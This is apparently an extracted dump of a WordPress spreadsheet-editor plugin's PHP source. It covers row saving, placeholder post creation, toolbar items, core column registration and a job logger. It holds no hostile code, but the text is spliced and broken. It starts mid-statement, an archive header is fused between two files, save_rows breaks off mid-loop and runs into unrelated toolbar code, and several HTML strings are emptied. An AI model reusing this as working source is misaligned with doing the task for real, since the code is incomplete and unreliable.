'' : ''; // The free extension option will be displayed from 2020-01-20 to 2020-01-27 only if ( $disabled && in_array( $key, $free ) && ( date( 'Y-m-d' ) >= '2020-01-20' && date( 'Y-m-d' ) <= '2020-01-27' ) ) { $maybe_go_premium = '' . __( '(Install free extension)', 'vg_sheet_editor' ) . ''; } $sheets[ $key ] = array( 'key' => $key, 'label' => $post_type_name, 'is_disabled' => ! isset( $allowed_post_types[ $key ] ), 'description' => $maybe_go_premium, ); } } $final_sheets = apply_filters( 'vg_sheet_editor/prepared_post_types', $sheets, $allowed_post_types, $post_types ); $sorted = array( 'available' => array(), 'free' => array(), 'premium' => array(), ); foreach ( $final_sheets as $sheet ) { if ( empty( $sheet['is_disabled'] ) ) { $sorted['available'][] = $sheet; } elseif ( strpos( $sheet['description'], 'free' ) !== false ) { $sorted['free'][] = $sheet; } else { $sorted['premium'][] = $sheet; } } return array_merge( $sorted['available'], $sorted['free'], $sorted['premium'] ); } /** * Get the provider instance for the given sheet key * * @param string $provider Sheet key * @return VGSE_Provider_Abstract */ public function get_data_provider( $provider ) { $provider_key = $this->get_data_provider_class_key( $provider ); $class_name = 'VGSE_Provider_' . ucwords( $provider_key ); return $class_name::get_instance(); } public function get_provider_editor( $provider ) { $provider_key = VGSE()->helpers->get_data_provider_class_key( $provider ); return ( isset( VGSE()->editors[ $provider_key ] ) ) ? VGSE()->editors[ $provider_key ] : false; } public function get_unfiltered_provider_columns( $post_type, $run_callbacks = false ) { $spreadsheet_columns = VGSE()->helpers->get_provider_columns( $post_type, $run_callbacks ); $raw_unfiltered_columns = array(); if ( class_exists( 'WP_Sheet_Editor_Columns_Visibility' ) ) { $unfiltered_columns = WP_Sheet_Editor_Columns_Visibility::$unfiltered_columns; $raw_unfiltered_columns = isset( $unfiltered_columns[ $post_type ] ) ? $unfiltered_columns[ $post_type ] : array(); } $unfiltered_columns = array_merge( $raw_unfiltered_columns, $spreadsheet_columns ); return $unfiltered_columns; } public function get_provider_columns( $post_type, $run_callbacks = false ) { $current_editor = VGSE()->helpers->get_provider_editor( $post_type ); if ( ! $current_editor || ! in_array( $post_type, $current_editor->args['enabled_post_types'], true ) ) { return array(); } return $current_editor->get_provider_items( $post_type, $run_callbacks ); } public function create_placeholder_posts( $post_type, $rows = 1, $out_format = 'rows' ) { $data = array(); if ( ! $rows ) { return $data; } VGSE()->current_provider = VGSE()->helpers->get_data_provider( $post_type ); $spreadsheet_columns = VGSE()->helpers->get_provider_columns( $post_type ); if ( VGSE()->options['be_disable_post_actions'] ) { VGSE()->helpers->remove_all_post_actions( $post_type ); } $new_posts_ids = apply_filters( 'vg_sheet_editor/add_new_posts/create_new_posts', array(), $post_type, $rows, $spreadsheet_columns ); if ( is_wp_error( $new_posts_ids ) ) { return $new_posts_ids; } if ( empty( $new_posts_ids ) ) { for ( $i = 0; $i < $rows; $i++ ) { $my_post = array( 'post_title' => __( '...', 'vg_sheet_editor' ), 'post_type' => $post_type, 'post_content' => ' ', 'post_status' => 'draft', 'post_author' => get_current_user_id(), ); $my_post = apply_filters( 'vg_sheet_editor/add_new_posts/post_data', $my_post ); $post_id = VGSE()->helpers->get_current_provider()->create_item( $my_post ); if ( ! $post_id || is_wp_error( $post_id ) ) { return new WP_Error( 'vgse', __( 'The item could not be saved. Please try again in other moment.', 'vg_sheet_editor' ) ); } do_action( 'vg_sheet_editor/add_new_posts/after', $post_id, $post_type, $rows, $spreadsheet_columns ); $new_posts_ids[] = $post_id; } } do_action( 'vg_sheet_editor/add_new_posts/after_all_posts_created', $new_posts_ids, $post_type, $rows, $spreadsheet_columns ); if ( $out_format === 'ids' ) { $out = $new_posts_ids; } elseif ( ! empty( $new_posts_ids ) ) { $get_rows_args = apply_filters( 'vg_sheet_editor/add_new_posts/get_rows_args', array( 'nonce' => sanitize_text_field( VGSE()->helpers->get_nonce_from_request() ), 'post_type' => $post_type, 'wp_query_args' => array( 'post__in' => $new_posts_ids, 'posts_per_page' => -1, 'orderby' => array( 'post_date' => 'DESC', 'ID' => 'DESC', ), ), 'filters' => '', 'wpse_source' => 'create_rows', ) ); $data = VGSE()->helpers->get_rows( $get_rows_args ); if ( is_wp_error( $data ) ) { return $data; } $out = $data['rows']; } VGSE()->helpers->increase_counter( 'editions', count( $new_posts_ids ) ); VGSE()->helpers->increase_counter( 'processed', count( $new_posts_ids ) ); $out = apply_filters( 'vg_sheet_editor/add_new_posts/output', $out, $post_type, $spreadsheet_columns ); return array_values( $out ); } public function sanitize_data_for_db( $data, $post_type ) { VGSE()->current_provider = VGSE()->helpers->get_data_provider( $post_type ); $spreadsheet_columns = VGSE()->helpers->get_provider_columns( $post_type ); $columns_with_custom_sanitization = array_filter( wp_list_pluck( $spreadsheet_columns, 'custom_sanitization_before_saving', 'key' ) ); if ( self::current_user_can( 'unfiltered_html' ) && ! empty( VGSE()->options['be_allow_raw_content_unfiltered_html_capability'] ) ) { $columns_with_custom_sanitization['post_content'] = 'strval'; } $data = wp_unslash( $data ); if ( ! empty( $columns_with_custom_sanitization ) ) { foreach ( $data as $index => $row ) { foreach ( $row as $column_key => $column_value ) { if ( empty( $column_value ) ) { continue; } $data[ $index ][ $column_key ] = ! empty( $columns_with_custom_sanitization[ $column_key ] ) ? call_user_func( $columns_with_custom_sanitization[ $column_key ], $column_value ) : VGSE()->helpers->safe_html( $column_value ); } } } else { $data = VGSE()->helpers->safe_html( $data ); } return $data; } public function get_job_id_from_request( $key = 'wpse_job_id' ) { return isset( $_REQUEST[ $key ] ) ? sanitize_text_field( $_REQUEST[ $key ] ) : ''; } public function get_nonce_from_request( $key = 'nonce' ) { return isset( $_REQUEST[ $key ] ) ? sanitize_text_field( $_REQUEST[ $key ] ) : ''; } public function user_can_manage_options() { return self::current_user_can( 'manage_options' ); } public function get_page_by_title( $title, $post_type ) { global $wpdb; if ( empty( $title ) ) { return null; } $out = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_title = %s AND post_type = %s", $title, $post_type ), OBJECT ); return $out; } public function verify_sheet_permissions_from_request( $type, $request_key = 'post_type' ) { $out = false; if ( $type === 'edit' ) { $out = VGSE()->helpers->user_can_edit_post_type( $_REQUEST[ $request_key ] ); } elseif ( $type === 'view' ) { $out = VGSE()->helpers->user_can_view_post_type( $_REQUEST[ $request_key ] ); } elseif ( $type === 'delete' ) { $out = VGSE()->helpers->user_can_delete_post_type( $_REQUEST[ $request_key ] ); } return $out; } public function verify_nonce_from_request( $nonce_key = 'nonce' ) { return ! empty( $_REQUEST[ $nonce_key ] ) && wp_verify_nonce( $_REQUEST[ $nonce_key ], 'bep-nonce' ); } public function save_rows( $settings = array() ) { $post_type = $settings['post_type']; VGSE()->current_provider = VGSE()->helpers->get_data_provider( $post_type ); $spreadsheet_columns = VGSE()->helpers->get_provider_columns( $post_type ); $this->is_saving_cells = true; $data = apply_filters( 'vg_sheet_editor/save_rows/incoming_data', $settings['data'], $settings ); if ( is_wp_error( $data ) ) { $this->is_saving_cells = false; return $data; } $data = VGSE()->helpers->get_current_provider()->filter_rows_before_edit( $data, $post_type ); if ( VGSE()->options['be_disable_post_actions'] ) { VGSE()->helpers->remove_all_post_actions( $post_type ); } do_action( 'vg_sheet_editor/save_rows/before_saving_rows', $data, $post_type, $spreadsheet_columns, $settings ); $editions_count = 0; // We used to use wp_suspend_cache_invalidation(); to suspend the cache invalidation // and prevent WP from doing unnecessary mysql queries. But we disabled it because it caused // too many issues on sites that use aggressive cache (wp.com) // if (!empty(VGSE()->options['be_suspend_object_cache_invalidation']) && strpos($data_as_json, '"post_name":') === false) { // wp_suspend_cache_invalidation(); // } try { $new_rows_ids = array(); $original_new_rows_ids = array(); if ( ! empty( $settings['allow_to_create_new'] ) ) { $new_rows_count = 0; $new_rows_ids = apply_filters( 'vg_sheet_editor/save_rows/new_rows_ids', array(), $data, $settings, $post_type ); if ( empty( $new_rows_ids ) ) { foreach ( $data as $row_index => $item ) { if ( empty( $item['ID'] ) || ! $this->sanitize_integer( $item['ID'] ) ) { $new_rows_count++; } } $new_rows_ids = VGSE()->helpers->create_placeholder_posts( $post_type, $new_rows_count, 'ids' ); $original_new_rows_ids = $new_rows_ids; } else { $original_new_rows_ids = $new_rows_ids; $new_rows_count = count( $new_rows_ids ); } if ( function_exists( 'WPSE_Logger_Obj' ) && ! empty( VGSE()->helpers->get_job_id_from_request() ) ) { WPSE_Logger_Obj()->entry( sprintf( 'Before saving: Created %d rows as placeholder that will be used for saving real data later.', $new_rows_count ), sanitize_text_field( VGSE()->helpers->get_job_id_from_request() ) ); } } foreach ( $data as $row_index => $item ) { if ( ! empty( $settings['allow_to_create_new'] ) && ! empty( $new_rows_ids ) && ! is_wp_error( $new_rows_ids ) && empty( $item['ID'] ) ) { $item['ID'] = array_shift( $new_rows_ids ); } if ( empty( $item['ID'] ) ) { continue; } $post_id = $this->sanitize_integer( $item['ID'] ); if ( empty( $post_id ) ) { continue; } if ( empty( $data[ $row_index ]['ID'] ) && ! empty( $post_id ) ) { $data[ $row_index ]['ID'] = $post_id; } if ( function_exists( 'WPSE_Logger_Obj' ) && ! empty( VGSE()->helpers->get_job_id_from_request() ) ) { WPSE_Logger_Obj()->entry( sprintf( 'Saving row with index: %d.', $row_index + 1 ), sanitize_text_field( VGSE()->helpers->get_job_id_from_request() ) ); } $item = apply_filters( 'vg_sheet_editor/save_rows/row_data_before_save', $item, $post_id, $post_type, $spreadsheet_columns, $settings ); if ( is_wp_error( $item ) ) { $this->is_saving_cells = false; return $item; } if ( empty( $item ) ) { continue; } $my_post = array(); foreach ( $spreadsheet_columns as $key => $column_settings ) { if ( ! isset( $item[ $key ] ) ) { continue; } // If this is a ', // if type=button : button label | if type=html : html string. 'help_tooltip' => __( 'You can create new items here', 'vg_sheet_editor' ), 'tooltip_size' => 'small', ), $post_type ); $toolbars->register_item( 'load', array( 'allow_to_hide' => false, 'type' => 'button', // html | switch | button 'content' => __( 'Load', 'vg_sheet_editor' ), 'container_class' => 'hidden', ), $post_type ); $toolbars->register_item( 'exit_full_screen', array( 'allow_to_hide' => false, 'icon' => 'fa fa-remove', 'type' => 'button', // html | switch | button 'content' => __( 'Exit Full Screen', 'vg_sheet_editor' ), 'container_class' => 'right-toolbar-item', 'css_class' => 'wpse-full-screen-toggle', 'allow_in_frontend' => false, ), $post_type ); $toolbars->register_item( 'cells_format', array( 'type' => 'switch', // html | switch | button 'content' => __( 'Show cells as simple text', 'vg_sheet_editor' ), 'id' => 'formato', 'toolbar_key' => 'secondary', 'help_tooltip' => __( 'By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.', 'vg_sheet_editor' ), 'default_value' => false, 'parent' => 'settings', ), $post_type ); if ( empty( VGSE()->options['enable_pagination'] ) ) { $toolbars->register_item( 'infinite_scroll', array( 'type' => 'switch', // html | switch | button 'content' => __( 'Load more on scroll', 'vg_sheet_editor' ), 'id' => 'infinito', 'toolbar_key' => ( defined( 'VGSE_WC_FILE' ) ) ? 'secondary' : 'primary', 'help_tooltip' => __( 'When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page', 'vg_sheet_editor' ), 'default_value' => VGSE()->options['be_load_items_on_scroll'] == true, 'parent' => 'settings', ), $post_type ); } if ( VGSE()->helpers->user_can_manage_options() ) { $toolbars->register_item( 'rescan_db', array( 'type' => 'button', 'content' => __( 'Scan DB to find fields', 'vg_sheet_editor' ), 'id' => 'rescan_db', 'allow_in_frontend' => false, 'toolbar_key' => 'secondary', 'help_tooltip' => __( 'We can scan the database, find new fields, and create columns automatically for the supported fields.', 'vg_sheet_editor' ), 'parent' => 'settings', 'url' => esc_url( add_query_arg( 'wpse_rescan_db_fields', VGSE()->helpers->get_provider_from_query_string() ) ), ), $post_type ); } if ( ! empty( VGSE()->options['enable_auto_saving'] ) ) { $toolbars->register_item( 'auto_saving_status', array( 'toolbar_key' => 'secondary', 'allow_to_hide' => false, 'container_class' => 'right-toolbar-item', 'type' => 'html', 'content' => '' . __( 'All changes saved.', 'vg_sheet_editor' ) . '', 'label' => __( 'All changes saved.', 'vg_sheet_editor' ), ), $post_type ); } } do_action( 'vg_sheet_editor/toolbar/core_items_registered' ); return $toolbars; } public function get_default_sort_select( $toolbar_item, $post_type ) { $sort_options = VGSE()->helpers->get_sheet_sort_options( $post_type ); $sort_select = ''; if ( ! $sort_options ) { return $sort_select; } $current_value = ! empty( VGSE()->options[ 'default_sortby_' . $post_type ] ) ? VGSE()->options[ 'default_sortby_' . $post_type ] : ''; $sort_select = ''; return $sort_select; } /** * IMPORTANT. We copied the function from wp-admin/includes/post.php * because we need the function before wp loads the file or in pages where * WP core doesn't load it. * * We can't just require the post.php file because it causes error 500 when WP * or other plugins load the file later * * Return whether a post type is compatible with the block editor. * * The block editor depends on the REST API, and if the post type is not shown in the * REST API, then it won't work with the block editor. * * @since 5.0.0 * * @param string $post_type The post type. * @return bool Whether the post type can be edited with the block editor. */ public function use_block_editor_for_post_type( $post_type ) { if ( $post_type === 'product' ) { return false; } if ( ! post_type_exists( $post_type ) ) { return false; } if ( ! post_type_supports( $post_type, 'editor' ) ) { return false; } // Added support for the disable_gutenberg plugin if ( function_exists( 'disable_gutenberg' ) && disable_gutenberg() ) { return false; } if ( class_exists( 'Classic_Editor' ) ) { return false; } $post_type_object = get_post_type_object( $post_type ); if ( $post_type_object && ! $post_type_object->show_in_rest ) { return false; } /** * Filter whether a post is able to be edited in the block editor. * * @since 5.0.0 * * @param bool $use_block_editor Whether the post type can be edited or not. Default true. * @param string $post_type The post type being checked. */ return true; } /** * Register core columns */ public function _register_columns() { if ( ! is_object( $this->columns ) ) { return; } $post_types = $this->enabled_post_types; foreach ( $post_types as $post_type ) { $this->columns->register_item( 'ID', $post_type, array( 'data_type' => 'post_data', //String (post_data,post_meta|meta_data) 'unformatted' => array( 'data' => 'ID', 'renderer' => 'html', 'readOnly' => true, ), //Array (Valores admitidos por el plugin de handsontable) 'column_width' => 75, //int (Ancho de la columna) 'title' => __( 'ID', 'vg_sheet_editor' ), //String (Titulo de la columna) 'type' => '', // String (Es para saber si será un boton que abre popup, si no dejar vacio) boton_tiny|boton_gallery|boton_gallery_multiple|(vacio) 'supports_formulas' => false, 'allow_to_hide' => false, 'allow_to_save' => false, 'allow_to_rename' => false, 'is_locked' => true, 'formatted' => array( 'data' => 'ID', 'renderer' => 'html', 'readOnly' => true, ), ) ); $this->columns->register_item( 'post_title', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'post_title' ), 'column_width' => 300, 'title' => __( 'Title', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => 'post_title', 'renderer' => 'html', ), 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); $this->columns->register_item( 'post_name', $post_type, array( 'data_type' => 'post_data', //String (post_data,post_meta|meta_data) 'column_width' => 300, //int (Ancho de la columna) 'title' => __( 'URL Slug', 'vg_sheet_editor' ), //String (Titulo de la columna) 'type' => '', // String (Es para saber si será un boton que abre popup, si no dejar vacio) boton_tiny|boton_gallery|boton_gallery_multiple|(vacio) 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, 'is_locked' => true, 'lock_template_key' => 'enable_lock_cell_template', ) ); global $wp_version; if ( version_compare( $wp_version, '5.0', '>=' ) && $this->use_block_editor_for_post_type( $post_type ) ) { // Disable wpautop when using gutenberg because it breaks the block markup VGSE()->options['be_disable_wpautop'] = true; $post_content_args = array( 'data_type' => 'post_data', 'column_width' => 200, 'title' => __( 'Content', 'vg_sheet_editor' ), 'supports_formulas' => true, 'formatted' => array( 'data' => 'post_content', 'renderer' => 'wp_tinymce', 'wpse_template_key' => 'gutenberg_cell_template', ), 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, 'edit_modal_id' => 'vgse-modal-editor-' . wp_generate_password( 5, false ), 'edit_modal_description' => __( 'Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.', 'vg_sheet_editor' ), 'edit_modal_save_action' => 'js_function_name:vgseGutenbergEditToCell,vgse_save_gutenberg_content', 'edit_modal_cancel_action' => 'js_function_name:vgseCancelGutenbergEdit', 'metabox_show_selector' => '#wpcontent', 'metabox_value_selector' => 'js_function_name:vgseGetGutenbergContent', ); $this->columns->register_item( 'post_content', $post_type, $post_content_args ); } else { if ( post_type_supports( $post_type, 'editor' ) || $post_type === 'attachment' ) { $this->columns->register_item( 'post_content', $post_type, array( 'data_type' => 'post_data', 'column_width' => 200, 'title' => __( 'Content', 'vg_sheet_editor' ), 'supports_formulas' => true, 'formatted' => array( 'data' => 'post_content', 'renderer' => 'wp_tinymce', 'wpse_template_key' => 'tinymce_cell_template', ), 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, ) ); } } $this->columns->register_item( 'open_wp_editor', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'renderer' => 'wp_external_button', 'readOnly' => true, ), 'column_width' => 115, 'title' => __( 'WP Editor', 'vg_sheet_editor' ), 'type' => 'external_button', 'supports_formulas' => false, 'formatted' => array( 'renderer' => 'wp_external_button', 'readOnly' => true, ), 'allow_to_hide' => true, 'allow_to_save' => false, 'allow_to_rename' => true, 'external_button_template' => admin_url( 'post.php?post={ID}&action=edit' ), ) ); $this->columns->register_item( 'view_post', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'view_post', 'renderer' => 'wp_external_button', 'readOnly' => true, ), 'column_width' => 85, 'title' => __( 'View', 'vg_sheet_editor' ), 'type' => 'external_button', 'supports_formulas' => false, 'formatted' => array( 'data' => 'view_post', 'renderer' => 'wp_external_button', 'readOnly' => true, ), 'allow_to_hide' => true, 'allow_to_save' => false, 'allow_to_rename' => true, 'external_button_template' => '{post_url}', ) ); $this->columns->register_item( 'post_date', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'post_date' ), 'column_width' => 155, 'title' => __( 'Date', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, // SQL formulas not supported because we need to automatically save the gmt date too (additional field) 'supports_sql_formulas' => false, 'formatted' => array( 'editor' => 'wp_datetime', 'type' => 'date', 'dateFormatPhp' => 'Y-m-d H:i:s', 'correctFormat' => true, 'defaultDate' => date( 'Y-m-d H:i:s' ), 'datePickerConfig' => array( 'firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1, 'yearRange' => array( 1900, (int) date( 'Y' ) + 20 ), ), ), 'allow_to_hide' => true, 'allow_to_rename' => true, 'value_type' => 'date', ) ); $this->columns->register_item( 'post_modified', $post_type, array( 'data_type' => 'post_data', 'column_width' => 212, 'title' => __( 'Modified Date', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, 'is_locked' => true, 'lock_template_key' => 'enable_lock_cell_template', 'value_type' => 'date', ) ); if ( post_type_supports( $post_type, 'author' ) ) { $this->columns->register_item( 'post_author', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'post_author' ), 'column_width' => 120, 'title' => __( 'Author', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'type' => 'autocomplete', 'source' => 'searchUsers', ), 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); } if ( post_type_supports( $post_type, 'excerpt' ) || $post_type === 'attachment' ) { $this->columns->register_item( 'post_excerpt', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'post_excerpt' ), 'column_width' => 400, 'title' => __( 'Excerpt', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => 'post_excerpt' ), 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); } $post_statuses = VGSE()->helpers->get_data_provider( $post_type )->get_statuses(); if ( VGSE()->helpers->get_current_provider()->is_post_type && VGSE()->helpers->user_can_delete_post_type( $post_type ) ) { $post_statuses['delete'] = __( 'Delete completely', 'vg_sheet_editor' ); } $this->columns->register_item( 'post_status', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'post_status' ), 'column_width' => 100, 'title' => __( 'Status', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => 'post_status', 'editor' => 'select', 'selectOptions' => $post_statuses, ), 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); if ( post_type_supports( $post_type, 'comments' ) ) { $this->columns->register_item( 'comment_status', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'comment_status' ), 'column_width' => 100, 'title' => __( 'Comments', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => 'comment_status', 'type' => 'checkbox', 'checkedTemplate' => 'open', 'uncheckedTemplate' => 'closed', ), 'default_value' => 'open', 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); } if ( ( post_type_supports( $post_type, 'page-attributes' ) && $post_type !== 'attachment' ) || $post_type === apply_filters( 'vg_sheet_editor/woocommerce/product_post_type_key', 'product' ) ) { if ( VGSE()->get_option( 'manage_post_parents_with_id' ) ) { $format = array(); } else { $format = array( 'data' => 'post_parent', 'type' => 'autocomplete', 'source' => 'searchPostByKeyword', ); } $this->columns->register_item( 'post_parent', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'data' => 'post_parent' ), 'column_width' => 210, 'title' => __( 'Page Parent', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => $format, 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); } $this->columns->register_item( 'menu_order', $post_type, array( 'data_type' => 'post_data', //String (post_data,post_meta|meta_data) 'column_width' => 80, //int (Ancho de la columna) 'title' => __( 'Order', 'vg_sheet_editor' ), //String (Titulo de la columna) 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, ) ); if ( post_type_supports( $post_type, 'thumbnail' ) ) { $this->columns->register_item( '_thumbnail_id', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => '_thumbnail_id' ), 'column_width' => 160, 'supports_formulas' => true, 'title' => __( 'Featured Image', 'vg_sheet_editor' ), 'type' => 'boton_gallery', //boton_gallery|boton_gallery_multiple (Multiple para galeria) 'formatted' => array( 'data' => '_thumbnail_id' ), 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, ) ); } if ( $this->settings['register_taxonomy_columns'] ) { $taxonomies = get_object_taxonomies( $post_type, 'objects' ); if ( ! empty( $taxonomies ) && is_array( $taxonomies ) ) { $term_field = ( ! empty( VGSE()->options['manage_taxonomy_columns_term_slugs'] ) ) ? 'slug' : 'name'; foreach ( $taxonomies as $taxonomy ) { if ( ! $taxonomy->show_ui && $taxonomy->name !== 'post_format' ) { continue; } if ( empty( VGSE()->options['be_taxonomy_cell_renderer'] ) ) { $formatted = array( 'data' => $taxonomy->name, 'editor' => 'wp_chosen', 'selectOptions' => array(), 'chosenOptions' => array( 'multiple' => true, 'search_contains' => true, 'create_option' => true, 'skip_no_results' => true, 'persistent_create_option' => true, 'data' => array(), 'ajaxParams' => array( 'action' => 'vgse_get_taxonomy_terms', 'taxonomy_key' => $taxonomy->name, ), ), ); } else { $hierarchy_tip = is_taxonomy_hierarchical( $taxonomy->name ) ? __( '. Add child categories using this format: Parent > child1 > child2', 'vg_sheet_editor' ) : ''; $formatted = array( 'data' => $taxonomy->name, 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms', ); $formatted['comment'] = array( 'value' => sprintf( __( 'Enter multiple terms separated by %s', 'vg_sheet_editor' ), VGSE()->helpers->get_term_separator() ) . $hierarchy_tip ); } $this->columns->register_item( $taxonomy->name, $post_type, array( 'data_type' => 'post_terms', 'unformatted' => array( 'data' => $taxonomy->name ), 'column_width' => 150, 'title' => $taxonomy->label, 'type' => '', 'supports_formulas' => true, 'formatted' => $formatted, 'allow_to_hide' => true, 'allow_to_rename' => true, ) ); } } } $required_capability_for_post_type_column = apply_filters( 'vg_sheet_editor/bootstrap/required_capability_for_post_type_column', 'manage_options' ); if ( ! $required_capability_for_post_type_column || WP_Sheet_Editor_Helpers::current_user_can( $required_capability_for_post_type_column ) ) { $this->columns->register_item( 'post_type', $post_type, array( 'data_type' => 'post_data', //String (post_data,post_meta|meta_data) 'column_width' => 150, //int (Ancho de la columna) 'title' => __( 'Post type', 'vg_sheet_editor' ), //String (Titulo de la columna) 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, 'is_locked' => true, 'lock_template_key' => 'enable_lock_cell_template', 'formatted' => array( 'data' => 'post_type', 'editor' => 'select', 'selectOptions' => apply_filters( 'vg_sheet_editor/bootstrap/post_type_column_dropdown_options', VGSE()->helpers->get_all_post_types_names(), $post_type, $this ), ), ) ); } if ( VGSE()->helpers->user_can_manage_options() ) { if ( defined( 'VGSE_ANY_PREMIUM_ADDON' ) && VGSE_ANY_PREMIUM_ADDON ) { $this->columns->register_item( 'post_password', $post_type, array( 'data_type' => 'post_data', //String (post_data,post_meta|meta_data) 'column_width' => 80, //int (Ancho de la columna) 'title' => __( 'Password', 'vg_sheet_editor' ), //String (Titulo de la columna) 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, ) ); } } } do_action( 'vg_sheet_editor/core_columns_registered' ); } public function __set( $name, $value ) { $this->$name = $value; } public function __get( $name ) { return $this->$name; } } } modules/wp-sheet-editor/inc/api/logger.php000064400000020153147600365160014557 0ustar00secret_key ) { return $this->secret_key; } if ( ! get_option( 'vgse_secret_key' ) ) { update_option( 'vgse_secret_key', md5( VGSE()->helpers->get_uuid() ), false ); } // We use the secret key to add extra security to the file names $this->secret_key = get_option( 'vgse_secret_key' ); return $this->secret_key; } function maybe_download_log_file() { if ( empty( $_GET['wpseelf'] ) || ! VGSE()->helpers->user_can_manage_options() ) { return; } if ( strpos( $_GET['wpseelf'], '.' ) !== false || strpos( $_GET['wpseelf'], '/' ) !== false || strpos( $_GET['wpseelf'], '\\' ) !== false ) { die(); } $job_id = sanitize_file_name( $_GET['wpseelf'] ); $path = $this->get_job_file( $job_id ); $file_name = current( explode( '.', basename( $path ) ) ); $public_file_name = str_replace( '-' . $this->get_site_key(), '', $file_name ); if ( ! file_exists( $path ) ) { die( __( 'The log file does not exist.', 'vg_sheet_editor' ) ); } // output headers so that the file is downloaded rather than displayed header( 'Content-type: text/plain' ); header( "Content-disposition: attachment; filename = $public_file_name.txt" ); VGSE()->helpers->readfile_chunked( $path ); die(); } function maybe_create_directories() { if ( ! is_dir( $this->directory ) ) { wp_mkdir_p( $this->directory ); } if ( ! file_exists( $this->directory . '/index.html' ) ) { file_put_contents( $this->directory . '/index.html', '' ); } if ( ! file_exists( $this->directory . '/.htaccess' ) ) { file_put_contents( $this->directory . '/.htaccess', 'deny from all' ); } } function delete_old_files() { $files = VGSE()->helpers->get_files_list( $this->directory, '.txt' ); foreach ( $files as $file ) { $expiration_hours = (int) $this->file_expiration_hours(); if ( file_exists( $file ) && ( time() - filemtime( $file ) > $expiration_hours * 3600 ) ) { unlink( $file ); } } } function get_log_download_url( $job_id ) { $out = null; if ( ! empty( $job_id ) ) { $out = esc_url_raw( add_query_arg( 'wpseelf', sanitize_file_name( $job_id ), admin_url( 'index.php' ) ) ); } return $out; } function get_job_file( $job_id ) { if ( strpos( $job_id, '-' . $this->get_site_key() ) === false ) { $job_id .= '-' . $this->get_site_key(); } $file_name = str_replace( array( '.', '/', '\\', ':' ), '', wp_normalize_path( sanitize_file_name( $job_id ) ) ); $file_path = wp_normalize_path( $this->directory . '/' . $file_name . '.txt' ); if ( ! file_exists( $file_path ) ) { file_put_contents( $file_path, '' ); } return $file_path; } function set_current_job_id( $job_id ) { $this->current_job_id = $job_id; } function entry( $message, $job_id = null ) { if ( ! $job_id && $this->current_job_id ) { $job_id = $this->current_job_id; } if ( ! $job_id ) { return false; } $file_path = $this->get_job_file( $job_id ); if ( ! file_exists( $file_path ) ) { return $this; } $t = microtime( true ); $micro = sprintf( '%06d', ( $t - floor( $t ) ) * 1000000 ); $time = current_time( 'mysql' ) . '.' . $micro; $fp = fopen( $file_path, 'a' ); //opens file in append mode fwrite( $fp, $time . ' - ' . html_entity_decode( wp_kses_post( $message ) ) . PHP_EOL . PHP_EOL ); fclose( $fp ); return $this; } function init() { $this->directory = apply_filters( 'vg_sheet_editor/logs/directory', WP_CONTENT_DIR . '/uploads/wp-sheet-editor/logs' ); do_action( 'wpse_delete_old_csvs', array( $this, 'delete_old_files' ) ); if ( is_admin() ) { $this->maybe_create_directories(); add_action( 'vg_sheet_editor/initialized', array( $this, 'maybe_download_log_file' ) ); add_action( 'admin_init', array( $this, 'delete_old_files' ) ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar' ), 80 ); } register_shutdown_function( array( $this, 'log_errors' ) ); } function register_toolbar( $editor ) { $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'error_log', array( 'type' => 'button', 'allow_in_frontend' => false, 'content' => __( 'Error log', 'vg_sheet_editor' ), 'toolbar_key' => 'secondary', 'extra_html_attributes' => 'data-remodal-target="modal-error-log"', 'parent' => 'support', 'footer_callback' => array( $this, 'render_error_log_modal' ), 'required_capability' => 'manage_options', ), $post_type ); } } function get_last_n_lines( $job_id, $max_lines = 100 ) { $file_path = $this->get_job_file( $job_id ); $lines = array(); if ( file_exists( $file_path ) ) { $fp = fopen( $file_path, 'r' ); while ( ! feof( $fp ) ) { $line = fgets( $fp, 4096 ); 